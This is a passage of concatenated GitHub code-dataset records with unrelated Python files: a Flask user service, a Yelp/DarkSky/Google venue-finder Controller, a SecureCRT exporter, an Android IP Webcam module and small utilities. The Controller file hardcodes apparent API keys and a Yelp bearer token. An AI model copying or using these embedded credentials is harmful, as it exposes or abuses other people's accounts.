row={\"key\":id ,\"fields\":fields}\n#            d[\"issues\"].append(row)\n#    print('|', end='', flush='True')\n#    start_at += max_results\n#if(0<len(pathOutput)):\n#    os.makedirs(pathOutput, exist_ok=True)\n#    with open(os.path.join(pathOutput, 'reports.json'), 'w', encoding=\"utf-8\") as f:\n#        json.dump(d, f, indent=4)\n#else:\n#    with open('reports.json', 'w', encoding=\"utf-8\") as f:\n#        json.dump(d, f, indent=4)\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description=\"\"\"Convert a git log output to json.\"\"\")\n    parser.add_argument('--owner', type=str)\n    parser.add_argument('--project', type=str)\n    parser.add_argument('--pathOutput', type=str, default=\"\", help=\"dest\")\n\n    args = parser.parse_args()\n    owner = args.owner\n    project = args.project\n    pathOutput        = args.pathOutput\n    fetch(owner, project, pathOutput)\n","repo_name":"ShoOgino/szz","sub_path":"script/fetch_github.py","file_name":"fetch_github.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38431340215","text":"from flask import Flask, render_template, request, jsonify, make_response\nfrom ariadne import graphql_sync, make_executable_schema, load_schema_from_path, ObjectType, QueryType, MutationType\nfrom ariadne.constants import PLAYGROUND_HTML\nimport requests\nimport json\nfrom werkzeug.exceptions import NotFound\n\n\napp = Flask(__name__)\n\n#Init Config\nPORT = 3004\nHOST = '0.0.0.0'\n\n#Load database\nwith open('{}/data/users.json'.format(\".\"), \"r\") as jsf:\n   users = json.load(jsf)[\"users\"]\n\n#Index route\n@app.route(\"/\", methods=['GET'])\ndef home():\n   return \"<h1 style='color:blue'>Welcome to the User service!</h1>\"\n\n#Get all users\n@app.route(\"/user\", methods=['GET'])\ndef get_json():\n   return make_response(jsonify(users), 200)\n\n#Get the average rating of the movies booked by a user by specifying its id in the path\n@app.route(\"/user/<userid>\", methods=['GET'])\ndef get_average_user_rating(userid):\n   #Find the user\n   r_sum = 0\n   cond = False\n   for element in users:\n      if userid == element[\"id\"]:\n         cond = True\n   if not cond:\n      return make_response(jsonify({\"error\":\"no user found\"}), 400)\n   \n   #REST request to the booking api\n   #Get booking for the user\n   host_ = 'http://booking'\n   request_booking = requests.get(host_ + ':' + '3003'+'/booking/'+str(userid))\n   if request_booking.ok : \n      bookings = request_booking.json()\n   else:\n      return make_response({\"error\":\"no movies booked for that user\"}, 409)\n      \n   movies_list = []\n   ### Request the movie api (GRAPHQL service) to get all the movies in the databse\n   ##GRAPHQL request\n   #Define the query, we want to get id and rating of all the movies\n   query = \"\"\"query{\n  movies {\n    id\n    rating\n  }\n}\"\"\"\n   #Perform the request\n   request_movie = requests.post('http://movie:3001/graphql', json ={\"query\": query})\n   if request_movie.ok:\n      movies_list = request_movie.json()['data']['movies']\n   \n   #Get average rating over booked movies\n   booked_movies = []\n   for date in bookings[\"dates\"]:\n      booked_movies += date[\"movies\"]\n\n   for b_movie in booked_movies:\n      for m in movies_list:\n         if b_movie == m[\"id\"]:\n            r_sum += m[\"rating\"]\n\n   average = r_sum/len(booked_movies)      \n   return make_response(jsonify({\"average_rating\":average}), 200)\n\nif __name__ == \"__main__\":\n   print(\"Server running in port %s\"%(PORT))\n   app.run(host=HOST, port=PORT)\n","repo_name":"Mashbrow/LOGIN-GRAPHQL-API","sub_path":"user/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10957929143","text":"\"\"\"Message templates for the discord bot.\"\"\"\nimport typing\n\nimport jinja2\nfrom loguru import logger\n\n\nclass MessageTemplates:\n    \"\"\"Create message templates for the discord bot.\"\"\"\n\n    def __init__(self, template_dir: str = \"./templates\"):\n        self.env = jinja2.Environment(  # noqa: S701\n            loader=jinja2.FileSystemLoader(template_dir),\n            autoescape=jinja2.select_autoescape(disabled_extensions=(\"msg\",), default=False, default_for_string=False),\n        )\n\n    def render(self, template_name: str, **kwargs: typing.Any):\n        template = self.env.get_template(template_name)\n        txt = template.render(kwargs)\n        logger.debug(txt)\n\n        return txt\n","repo_name":"LAION-AI/Open-Assistant","sub_path":"discord-bots/oa-bot-py/message_templates.py","file_name":"message_templates.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":35772,"dataset":"github-code","pt":"60"}
+{"seq_id":"8111029518","text":"import os\nimport subprocess\nfrom seckerwiki.util import bcolors\n\ndef stats(cfg, args):\n  \"\"\"\n  Print some useless/useful information about the wiki, for showing off purposes\n  \"\"\"\n\n  # Get number of commits\n  commit_count = int(subprocess.check_output(['git', 'rev-list', '--all', '--count']))\n\n  # Number of markdown files\n  notes_count = 0\n\n  # Get largest files by lines (of code)\n  loc_map = {}\n  \n  for root, dirs, files in os.walk(os.getcwd()):\n    for _file in [f for f in files if f.endswith(\".md\")]:\n      notes_count += 1\n      path = os.path.join(root, _file)\n      with open(path, 'r') as f_in:\n        loc_map[path] = sum(1 for line in f_in if line.strip())\n\n  total_lines = sum(loc_map.values())\n  largest_files = \"\\n\".join(f\"    {f}\" for f in sorted(loc_map, key=loc_map.get, reverse=True)[:3])\n\n  # Print output\n  output = f\"\"\"\n{bcolors.BOLD}Wiki Stats:{bcolors.ENDC}\n  {bcolors.OKGREEN}Commits made: {bcolors.ENDC} {commit_count}\n  {bcolors.OKGREEN}Number of Notes: {bcolors.ENDC} {notes_count}\n  {bcolors.OKGREEN}Total Lines: {bcolors.ENDC} {total_lines:,}\n  {bcolors.OKGREEN}Largest files: {bcolors.ENDC} \n{largest_files}\n  \"\"\"\n\n  print(output)","repo_name":"bsecker/wiki","sub_path":"seckerwiki/commands/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32408137007","text":"import requests\r\nfrom math import sin, cos, sqrt, atan2, radians\r\nimport webbrowser\r\n\r\n\r\nclass Controller:\r\n\r\n    def __init__(self, model, view):\r\n        \"\"\"\r\n        Initializes Controller with Model and View\r\n        Deletes all requests and related info for requests that are older than 12h\r\n        :param model:\r\n        :param view:\r\n        \"\"\"\r\n        self.model = model\r\n        self.view = view\r\n        self.model.delete_requests()\r\n\r\n    def quit_or_restart(self):\r\n        \"\"\"\r\n        Accepts the view.input on whether to quit or restart\r\n        :return:\r\n        \"\"\"\r\n        u_input = self.view.end_or_back()\r\n        if u_input == 1:\r\n            raise SystemExit\r\n        elif u_input == 2:\r\n            self.view.print_restart()\r\n            return self.get_userloc()\r\n\r\n    def get_userloc(self):\r\n        \"\"\"\r\n        Accepts the view.input for the address\r\n        :return:\r\n        \"\"\"\r\n        user_location = self.view.get_ulocation()\r\n        return self.get_geocode(user_location)\r\n\r\n    def get_geocode(self, user_location):\r\n        \"\"\"\r\n        Uses the google geocoding API to get latitude and longitude of the users address\r\n        :param user_location:\r\n        :return:\r\n        \"\"\"\r\n        akey_GC = 'AIzaSyAFNp6uuBwOa0w6f9N9en36EYhbCjugYpc'\r\n        url_GC = 'https://maps.googleapis.com/maps/api/geocode/json?'\r\n        params = dict(\r\n            key=akey_GC,\r\n            address=user_location)\r\n        r = requests.get(url_GC, params=params).json()\r\n\r\n        return self.geocode_error(r)\r\n\r\n    def geocode_error(self, geocode):\r\n        \"\"\"\r\n        Checks for a geocode api error, goes back if it detects one, otherwise returns latitude and longitude\r\n        :param geocode:\r\n        :return:\r\n        \"\"\"\r\n        r = geocode\r\n        if r['status'] == 'OK':\r\n            lat = r['results'][0]['geometry']['location']['lat']\r\n            lng = r['results'][0]['geometry']['location']['lng']\r\n            return self.get_category(lat, lng)\r\n        else:\r\n            self.view.renew_ulocation()\r\n            return self.get_geocode(self.view.get_ulocation())\r\n\r\n    def get_category(self, lat, lng):\r\n        \"\"\"\r\n        Gets all categories from the DB through the model and returns it to the view, and then accepts an input for the\r\n        category and starts the distance requests\r\n        :param lat:\r\n        :param lng:\r\n        :return:\r\n        \"\"\"\r\n        cat = self.model.select_categories()\r\n        user_category = self.view.view_cat(cat)\r\n        return self.distance_requests(lat, lng, user_category)\r\n\r\n    def distance_requests(self, lat, lng, category):\r\n        \"\"\"\r\n        First it acquires all requests until now from the DB through the model, then checks whether there were any to\r\n        begin with. If no, it goes and and gets the venues. If yes, it checks whether there is a request matching\r\n        the newly made one. If yes, it displays the results of the old request. If no, it start a new venue request.\r\n        It also inserts the request if need be into the DB\r\n        :param lat:\r\n        :param lng:\r\n        :param category:\r\n        :return:\r\n        \"\"\"\r\n\r\n        req = self.model.select_requests()\r\n        if len(req) == 0:\r\n            self.model.insert_request(lat, lng, category)\r\n            coordinates = '{},{}'.format(lat, lng)\r\n            return self.wait(coordinates), self.list_venues(coordinates, category), self.select_one()\r\n        else:\r\n\r\n            lat0 = radians(lat)\r\n            lng0 = radians(lng)\r\n\r\n            for i in req:\r\n                lat1 = radians(float(i['latitude']))\r\n                lng1 = radians(float(i['longitude']))\r\n                ## then calculate all the pairs of coordinates maybe dictionary comprehension ?\r\n                R = 6373.0\r\n\r\n                dlng = lng1 - lng0\r\n                dlat = lat1 - lat0\r\n\r\n                a = sin(dlat / 2) ** 2 + cos(lat0) * cos(lat1) * sin(dlng / 2) ** 2\r\n                c = 2 * atan2(sqrt(a), sqrt(1 - a))\r\n\r\n                distance = R * c\r\n                if distance < 0.4 and i['categories_category_id'] == category:  # 12 hours in secs\r\n                    return self.view.show_data(\r\n                        self.model.select_old_request(i['request_id'], self.view.getuFilter(), self.view.ascdesc(),\r\n                                                      self.view.get_row_number())), self.select_one()\r\n                else:\r\n                    continue\r\n\r\n            self.model.insert_request(lat, lng, category)\r\n            coordinates = '{},{}'.format(lat, lng)\r\n\r\n            return self.wait(coordinates), self.list_venues(coordinates, category), self.select_one()\r\n\r\n    def wait(self, coordinates):\r\n        \"\"\"\r\n        Placeholder function to circumvent an issue\r\n        :param coordinates:\r\n        :return:\r\n        \"\"\"\r\n        return self.get_weather(coordinates)\r\n\r\n    def get_weather(self, coordinates):\r\n        \"\"\"\r\n        Get the weather from the darksky api, parses it into a list and the tells the model to insert the weather into\r\n        the DB.\r\n        :param coordinates:\r\n        :return:\r\n        \"\"\"\r\n\r\n        weather_key = 'b534ec1802ded7f8017fb1d6ed523e85'\r\n        params = dict(\r\n            units='si',\r\n            exclude='flags,minutely'\r\n        )\r\n\r\n        url_weather = 'https://api.darksky.net/forecast/{}/{}?'.format(weather_key, coordinates)\r\n        r = requests.get(url_weather, params=params).json()\r\n\r\n        forecast = []\r\n        forecast.append((\r\n            r['currently']['summary'],\r\n            r['currently']['temperature'],\r\n            r['currently']['humidity'],\r\n            r['currently']['uvIndex'],\r\n            r['daily']['data'][0]['summary'],\r\n            r['daily']['data'][0]['temperatureHigh'],\r\n            r['daily']['data'][0]['temperatureLow'],\r\n            r['daily']['data'][0]['humidity'],\r\n            r['daily']['data'][0]['uvIndex'],\r\n            r['daily']['data'][1]['summary'],\r\n            r['daily']['data'][1]['temperatureHigh'],\r\n            r['daily']['data'][1]['temperatureLow'],\r\n            r['daily']['data'][1]['humidity'],\r\n            r['daily']['data'][1]['uvIndex'],\r\n            r['daily']['data'][2]['summary'],\r\n            r['daily']['data'][2]['temperatureHigh'],\r\n            r['daily']['data'][2]['temperatureLow'],\r\n            r['daily']['data'][2]['humidity'],\r\n            r['daily']['data'][2]['uvIndex'],\r\n            r['daily']['summary']))\r\n\r\n        return self.model.insert_weather(forecast)\r\n\r\n    def select_weather(self, venue_id):\r\n        \"\"\"\r\n        Selects the weather according to a venue id, which is used to get the request id\r\n        :param venue_id:\r\n        :return:\r\n        \"\"\"\r\n        venue = self.model.select_one(venue_id)\r\n        weather = self.model.select_weather(venue['requests_request_id'])\r\n        weather_list = []\r\n        weather_list.append(weather)\r\n        return self.view.show_data(weather_list)\r\n\r\n    #\r\n    def get_venues(self, coordinates, category, offset):\r\n        \"\"\"\r\n        Get the venues from the Yelp API\r\n        :param coordinates:\r\n        :param category:\r\n        :param offset:\r\n        :return:\r\n        \"\"\"\r\n        header = {\"Authorization\": 'Bearer qgwM2L8hevGosZuML4fFq-YD7wXtNUq4Qk2FHeo4N9mMpChXuXrk'\r\n                                   '-ZxbUf1kqn1RThsMuPDk3g3oSFoiJfzSudnaNNqm4l9xMhAdmEiuWaWXE6rA9JkeOKFA_2bwWnYx'}\r\n        params = {'location': coordinates, 'categories': category, 'offset': offset, 'limit': 50}\r\n        r = requests.get('https://api.yelp.com/v3/businesses/search?', params=params, headers=header).json()\r\n        return r\r\n\r\n    def list_venues(self, coordinates, category):\r\n        \"\"\"\r\n        Gets the venues from the Yelp API by looping through the offset to get 1000 instead of 50 results max.\r\n        :param coordinates:\r\n        :param category:\r\n        :return:\r\n        \"\"\"\r\n        list_venues = []\r\n        for j in range(0, 1000, 50):\r\n            d = self.get_venues(coordinates, category, j)\r\n            for i in d['businesses']:\r\n                list_venues.append((\r\n                    i['id'],\r\n                    i['location']['address1'],\r\n                    i['location']['city'],\r\n                    i['coordinates']['latitude'],\r\n                    i['coordinates']['longitude'],\r\n                    i['name'],\r\n                    i['rating'],\r\n                    i['url'],\r\n                    i['phone'],\r\n                    i['distance']))\r\n        self.model.insert_venues(list_venues)\r\n\r\n        row = self.view.get_row_number()  # improve view\r\n        ufilter = self.view.getuFilter()\r\n        ascdesc = self.view.ascdesc()\r\n        lastreqid = self.model.select_request()\r\n\r\n        return self.view.show_data(self.model.select_old_request(lastreqid['request_id'], ufilter, ascdesc, row))\r\n\r\n    def select_one(self):\r\n        \"\"\"\r\n        Selects a venue according to the id, which the user inputs, and checks whether it is a valid id\r\n        :return:\r\n        \"\"\"\r\n        self.view.print_select_one()\r\n        while True:\r\n            answer = self.model.select_one(self.view.select_one())\r\n            if answer is not None:\r\n                answer_list = []\r\n                answer_list.append(answer)\r\n                return self.view.show_data(answer_list), self.get_direction(answer['venue_id']), self.select_weather(\r\n                    answer['venue_id'])\r\n            else:\r\n                self.view.valid_id()\r\n\r\n    def get_direction(self, venue_id):\r\n        \"\"\"\r\n        Opens google maps in a browser to show directions from location to the venue\r\n        :param venue_id:\r\n        :return:\r\n        \"\"\"\r\n        url_map = 'https://www.google.com/maps/dir/?api=1&parameters'\r\n\r\n        transport = self.view.get_transportmethod()\r\n        venue = self.model.select_one(venue_id)\r\n        destination = '{},{}'.format(venue['latitude'], venue['longitude'])\r\n        req = self.model.select_req_acc_id(venue['requests_request_id'])\r\n        origin = '{},{}'.format(req['latitude'], req['longitude'])\r\n        # transport can be either 'driving' (default), 'walking', 'bicycling', 'transit'\r\n\r\n        params = dict(\r\n            origin=origin,\r\n            destination=destination,\r\n            units='metric',\r\n            travelmode=transport\r\n\r\n        )\r\n        r = requests.get(url_map, params=params).url\r\n        webbrowser.open(r)\r\n\r\n        return self.quit_or_restart()\r\n\r\n\r\n","repo_name":"SebastianKuhn/OOPBallers","sub_path":"Loser_Groups/Group_5/OOP_Project Kopie/Pythonfiles/Controller.py","file_name":"Controller.py","file_ext":"py","file_size_in_byte":10452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1694491728","text":"# import pandas\nimport pandas as pd\n\n# read csv data\ndf1 = pd.read_excel('ICICI_mar_post_data.xlsx')\ndf2 = pd.read_excel('vashi_final_till_31_mar.xlsx')\n\ninner_join = pd.merge(df1,\n                      df2,\n                      on='barcode',\n                      how='left')\nprint(inner_join)\ninner_join.to_excel(\"test.xlsx\")\n","repo_name":"ashutosh-agawane/utilites","sub_path":"daily_basis_tracking/daily_basis_count.py","file_name":"daily_basis_count.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13536022458","text":"# $language = \"Python\"\r\n# $interface = \"1.0\"\r\n\r\n########################################################################################################################\r\n# check_mk_to_securecrt_export - Export Check_MK hosts to SecureCRT Session Manager\r\n# Version 0.1 - Written by Maximilian Thoma 2020\r\n# Checkout https://github.com/lanbugs/check_mk_to_securecrt_export or https://lanbugs.de for updates.\r\n#\r\n# Released under GPL Version 2 - see LICENSE file for details\r\n########################################################################################################################\r\n\r\nimport os\r\nfrom subprocess import check_output\r\n\r\nout = check_output(['%s\\\\dist\\\\check_mk_to_securecrt_export_helper\\\\check_mk_to_securecrt_export_helper.exe' % os.path.dirname(os.path.realpath(__file__))])\r\n\r\nline = 0\r\n\r\n# Check if username argument is present\r\nif crt.Arguments.Count != 0:\r\n    username = crt.Arguments[0]\r\n\r\n# Use username from default settings\r\nelse:\r\n    objConfig = crt.OpenSessionConfiguration(\"Default\")\r\n    username = objConfig.GetOption(\"Username\")\r\n\r\n# Work on every host in response\r\nfor l in out.splitlines():\r\n    # ignore line null, header of csv output\r\n    if line == 0:\r\n        line += 1\r\n        continue\r\n\r\n    # create session\r\n    else:\r\n        hostname, ip, path = l.split(\",\")\r\n\r\n        path = path.replace(\"Main directory\", \"_Check_MK_Imports\").replace(\" \", \"\")\r\n\r\n        strDefaultProtocol = \"SSH2\"\r\n\r\n        strSessionPath = \"%s/%s\" % (path, hostname)\r\n        strPort = \"22\"\r\n        strProtocol = \"SSH2\"\r\n        strHostName = ip\r\n        strUserName = username\r\n        strEmulation = \"xterm\"\r\n        strFolder = \"\"\r\n        strDescription = \"\"\r\n        strLogonScript = \"\"\r\n        strSessionName = hostname\r\n\r\n        objConfig = crt.OpenSessionConfiguration(\"Default\")\r\n\r\n        objConfig.SetOption(\"Protocol Name\", strProtocol)\r\n\r\n        objConfig.Save(strSessionPath)\r\n\r\n        objConfig = crt.OpenSessionConfiguration(strSessionPath)\r\n\r\n        vDescription = strDescription.split(\"\\r\")\r\n        objConfig.SetOption(\"Description\", vDescription)\r\n        objConfig.SetOption(\"Emulation\", strEmulation)\r\n\r\n        if strLogonScript != \"\":\r\n            objConfig.SetOption(\"Script Filename V2\", strLogonScript)\r\n            objConfig.SetOption(\"Use Script File\", True)\r\n\r\n        if strDescription != \"\":\r\n            vDescription = strDescription.split(\"\\r\")\r\n            objConfig.SetOption(\"Description\", vDescription)\r\n\r\n        if strHostName != \"\":\r\n            objConfig.SetOption(\"Hostname\", strHostName)\r\n\r\n        if strUserName != \"\":\r\n            objConfig.SetOption(\"Username\", strUserName)\r\n\r\n        if strProtocol.upper() == \"SSH2\":\r\n            if strPort == \"\":\r\n                strPort = 22\r\n            objConfig.SetOption(\"[SSH2] Port\", int(strPort))\r\n\r\n        objConfig.SetOption(\"ANSI Color\", True)\r\n        objConfig.SetOption(\"Color Scheme\", \"Solarized Darcula\") # Requires 8.3 or newer\r\n        objConfig.SetOption(\"Color Scheme Overrides Ansi Color\", True)\r\n\r\n        objConfig.Save()","repo_name":"lanbugs/check_mk_to_securecrt_export","sub_path":"check_mk_to_securecrt_export.py","file_name":"check_mk_to_securecrt_export.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"37617214339","text":"import unittest\nimport sys\nimport io\n#%%\nclass BaseTestClass(unittest.TestCase):\n    def assertPrint(self, testFunc, expectedPrint):\n        capturedOutput = io.StringIO()\n        \n        # Redirect stdout to the StringIO object\n        sys.stdout = capturedOutput\n\n        try:\n            # Run the test function\n            testFunc()\n            \n            # Get the captured output as a string with newline characters\n            printed = capturedOutput.getvalue()\n            \n            # Assert that the expected print was printed\n            self.assertIn(expectedPrint, printed)\n        finally:\n            # Restore the original stdout even if an exception occurs\n            sys.stdout = sys.__stdout__","repo_name":"FarhangAmaji/versatileAnnModule","sub_path":"tests/baseTest.py","file_name":"baseTest.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14928613773","text":"# -*- coding: utf-8 -*-\r\n'''\r\nCreated on 08.08.2019\r\n\r\n@author: yu03\r\n'''\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\na = np.arange(24)\r\nprint(a)\r\n# b = a.reshape(5,2,order='F')\r\n# print(b)\r\nc = np.reshape(a, (len(a)//3,-1))\r\nprint(c)\r\nprint(len(c))\r\nd = np.mean(c,axis=1)\r\nprint(d)\r\nprint(len(d))\r\n\r\nplt.figure(1)\r\nplt.plot(a)\r\nplt.show()","repo_name":"liangyuhit/git_demo","sub_path":"numpy_operation.py","file_name":"numpy_operation.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17585018368","text":"\"\"\"\nThis file is used by the Yombo core to create a device object for the specific zwave devices.\n\"\"\"\nfrom twisted.internet import reactor\nfrom twisted.internet.defer import inlineCallbacks, CancelledError\n\nfrom yombo.constants.features import FEATURE_DURATION\nfrom yombo.constants.status_extra import STATUS_EXTRA_DURATION\nfrom yombo.core.exceptions import YomboWarning\nfrom yombo.core.log import get_logger\nfrom yombo.lib.devices.camera import VideoCamera, Image\nfrom yombo.utils.ffmpeg.sensor import SensorNoise, SensorMotion\n\nfrom . import const\n\nlogger = get_logger(\"modules.android_ipwebcam.device\")\n\n\nclass Android_IPWebCam(VideoCamera):\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.SUB_PLATFORM = const.PLATFORM_ANDROID_IP_WEBCAM\n        self.status_data = None\n        self.sensor_data = None\n        self._timeout = 5\n        self._available = True\n        self._motion_sensor_device = None\n        self._motion_sensor_ffmpeg = None\n        self._noise_sensor_device = None\n        self._noise_sensor_ffmpeg = None\n\n        self._motion_enabled = None\n        self._motion_sensitivity = None\n        self._motion_reactivate_timeout = None\n        self._motion_low_timeout = None\n        self._motion_framerate = None\n        self._noise_enabled = None\n        self._noise_sensitivity = None\n        self._noise_reactivate_timeout = None\n        self._noise_low_timeout = None\n\n        reactor.callLater(0.05, self._reload_)  # Dont' hold up the system, spawn a child.\n\n    def _unload(self, **kwargs):\n        \"\"\"\n        Closes the FFMPEG connections.\n\n        :param kwargs:\n        :return:\n        \"\"\"\n        if self._motion_sensor_ffmpeg is not None:\n            self._motion_sensor_ffmpeg.close()\n        if self._noise_sensor_ffmpeg is not None:\n            self._noise_sensor_ffmpeg.close()\n\n    @inlineCallbacks\n    def _reload_(self, **kwargs):\n        \"\"\"\n        Called by _init_ or when the device has been edited.\n\n        :param kwargs:\n        :return:\n        \"\"\"\n\n        yield self.device_variables()\n        # print(f\"android vars: {self.device_variables_cached}\")\n        try:\n            self._protocol = self.device_variables_cached[\"protocol\"][\"values\"][0]\n        except KeyError:\n            self._protocol = \"http\"\n        self._host = self.device_variables_cached[\"host\"][\"values\"][0]\n        self._port = self.device_variables_cached[\"port\"][\"values\"][0]\n        username = self.device_variables_cached[\"username\"][\"values\"][0]\n        password = self.device_variables_cached[\"password\"][\"values\"][0]\n        if username and password:\n            self._request_auth = (username, password)\n\n        try:\n            self._motion_enabled = self.device_variables_cached[\"motion_enabled\"][\"values\"][0]\n        except KeyError:\n            self._motion_enabled = True\n        if self._motion_enabled is None:\n            self._motion_enabled = True\n        try:\n            self._motion_sensitivity = self.device_variables_cached[\"motion_sensitivity\"][\"values\"][0]\n        except KeyError:\n            self._motion_sensitivity = 15\n        try:\n            self._motion_denoise = self.device_variables_cached[\"motion_denoise\"][\"values\"][0]\n        except KeyError:\n            self._motion_denoise = 10\n        try:\n            self._motion_reactivate_timeout = self.device_variables_cached[\"motion_reactivate_timeout\"][\"values\"][0]\n        except KeyError:\n            self._motion_reactivate_timeout = 10\n        try:\n            self._motion_low_timeout = self.device_variables_cached[\"motion_low_timeout\"][\"values\"][0]\n        except KeyError:\n            self._motion_low_timeout = 10\n        try:\n            self._motion_framerate = self.device_variables_cached[\"motion_framerate\"][\"values\"][0]\n        except KeyError:\n            self._motion_framerate = 8\n        try:\n            self._noise_enabled = self.device_variables_cached[\"noise_enabled\"][\"values\"][0]\n        except KeyError:\n            self._noise_enabled = True\n        if self._noise_enabled is None:\n            self._noise_enabled = True\n        try:\n            self._noise_sensitivity = self.device_variables_cached[\"noise_sensitivity\"][\"values\"][0]\n        except KeyError:\n            self._noise_sensitivity = -25\n        try:\n            self._noise_reactivate_timeout = self.device_variables_cached[\"noise_reactivate_timeout\"][\"values\"][0]\n        except KeyError:\n            self._noise_reactivate_timeout = 30\n        try:\n            self._noise_low_timeout = self.device_variables_cached[\"noise_low_timeout\"][\"values\"][0]\n        except KeyError:\n            self._noise_low_timeout = 30\n\n        # print(\"11111111: before update\")\n        yield self.update()\n\n        # print(f\"11111111: self._motion_enabled: {self._motion_enabled}\")\n\n        if self._motion_enabled is True:\n            # print(\"11111111: enabled\")\n            if self._motion_sensor_device is None:\n                # print(\"11111111: no motion sensor device.\")\n                self._motion_sensor_device = yield self._Devices.create_child_device(\n                    self,\n                    label=\"Motion\",\n                    machine_label=\"motion\",\n                    device_type=\"motion_sensor\",\n                )\n            self._motion_sensor_device.FEATURES[FEATURE_DURATION] = True\n            self._motion_sensor_device.MACHINE_STATUS_EXTRA_FIELDS[STATUS_EXTRA_DURATION] = True\n            self._motion_sensor_device.set_status(machine_status=0)\n\n            if self._motion_sensor_ffmpeg is None:\n                self._motion_sensor_ffmpeg = SensorMotion(self, self.motion_sensor_callback,\n                                                          sensitivity=self._motion_sensitivity,\n                                                          denoise=self._motion_denoise,\n                                                          reactivate_timeout=self._motion_reactivate_timeout,\n                                                          low_timeout=self._motion_low_timeout,\n                                                          framerate=self._motion_framerate,\n                                                          connected_callback=self.motion_sensor_connected,\n                                                          closed_callback=self.motion_sensor_closed)\n            else:\n                self._motion_sensor_ffmpeg.close()\n            yield self._motion_sensor_ffmpeg.open_sensor(self.video_url, source_type=\"video\")\n\n        if self._noise_enabled is True:\n            if self._noise_sensor_device is None:\n                self._noise_sensor_device = yield self._Devices.create_child_device(\n                    self,\n                    label=\"Noise\",\n                    machine_label=\"noise\",\n                    device_type=\"noise_sensor\",\n                )\n            self._noise_sensor_device.FEATURES[FEATURE_DURATION] = True\n            self._noise_sensor_device.MACHINE_STATUS_EXTRA_FIELDS[STATUS_EXTRA_DURATION] = True\n            self._noise_sensor_device.set_status(machine_status=0)\n\n            if self._noise_sensor_ffmpeg is None:\n                self._noise_sensor_ffmpeg = SensorNoise(self, self.noise_sensor_callback, low_timeout=10,\n                                                        connected_callback=self.noise_sensor_connected,\n                                                        closed_callback=self.noise_sensor_closed)\n            else:\n                self._noise_sensor_ffmpeg.close()\n            yield self._noise_sensor_ffmpeg.open_sensor(self.audio_url)\n\n    def noise_sensor_connected(self, **kwargs):\n        print(f\"noise_sensor_connected.\")\n\n    def noise_sensor_closed(self, **kwargs):\n        print(f\"noise_sensor_closed.\")\n\n    def noise_sensor_callback(self, state, duration, trip_count):\n        \"\"\"\n        Testing noise sensor\n        :param noise_state:\n        :param noise_duration:\n        :return:\n        \"\"\"\n        # print(f\"noise_sensor_callback: state: {state}, duration: {duration} seconds, trip_count: {trip_count}\")\n        self._noise_sensor_device.set_status(machine_status=state,\n                                              machine_status_extra={FEATURE_DURATION: duration})\n\n    def motion_sensor_connected(self, **kwargs):\n        # print(f\"motion_sensor_connected.\")\n        pass\n\n    def motion_sensor_closed(self, **kwargs):\n        # print(f\"motion_sensor_closed.\")\n        pass\n\n    def motion_sensor_callback(self, state, duration, trip_count):\n        \"\"\"\n        Testing noise sensor\n        :param motion_start:\n        :return:\n        \"\"\"\n        # print(f\"motion_sensor_callback: state: {state}, duration: {duration} seconds, trip_count: {trip_count}\")\n        self._motion_sensor_device.set_status(machine_status=state,\n                                              machine_status_extra={FEATURE_DURATION: duration})\n\n    @property\n    def video_url(self):\n        \"\"\" The video mjpeg url.\"\"\"\n        return f\"{self.base_url}/video\"\n\n    @property\n    def image_url(self):\n        \"\"\" Single image (snapshot) url.\"\"\"\n        return f\"{self.base_url}/shot.jpg\"\n\n    @property\n    def audio_url(self):\n        \"\"\" URL for the audio stream. \"\"\"\n        return f\"{self.base_url}/audio.wav\"\n\n    @property\n    def available(self):\n        \"\"\" Returns True if the camera is available. \"\"\"\n        return self._available\n\n    @inlineCallbacks\n    def camera_image(self):\n        \"\"\"\n        Fetches a single image from the camera, and returns an Image instance.\n\n        :return:\n        \"\"\"\n        image_results = yield self._Requests.request(\"get\", self.image_url, self.request_auth)\n        return Image(content_type=image_results[\"headers\"][\"content-type\"][0], iamge=image_results[\"content\"])\n\n    @inlineCallbacks\n    def _request(self, path, **kwargs):\n        \"\"\"\n        Make a request to the android ip webcam.\n        \"\"\"\n        url = f\"{self.base_url}{path}\"\n        data = None\n        if \"auth\" not in kwargs:\n            kwargs[\"auth\"] = self.request_auth\n\n        try:\n                image_results = yield self._Requests.request(\"get\", url, **kwargs)\n                response = image_results[\"response\"]\n                # if response.status == 200:\n                data = image_results[\"content\"]\n        except (CancelledError, YomboWarning) as e:\n            logger.error(f\"Error communicating with IP Webcam: {e}\")\n            self._available = False\n            return\n\n        self._available = True\n        if isinstance(data, str):\n            return data.find(\"Ok\") != -1\n        else:\n            return data\n\n    @property\n    def debug_data(self):\n        \"\"\"\n        Provide additional debug data.\n\n        :return:\n        \"\"\"\n        debug_data = super().debug_data\n        debug_data[\"android_ip_webcam\"] = {\n            'title': _(\"module::android_ip_webcam::ui::debug_header\", \"Android IP Webcam device details\"),\n            'description': _(\"module::android_ip_webcam::ui::debug_description\", \"Data as reported by the Android IP Webcam device.\"),\n            'fields': [\n                _(\"module::android_ip_webcam::ui::debug_column1\", \"Value name\"),\n                _(\"module::android_ip_webcam::ui::debug_column2\", \"Value data\")\n            ],\n            'data': {\n                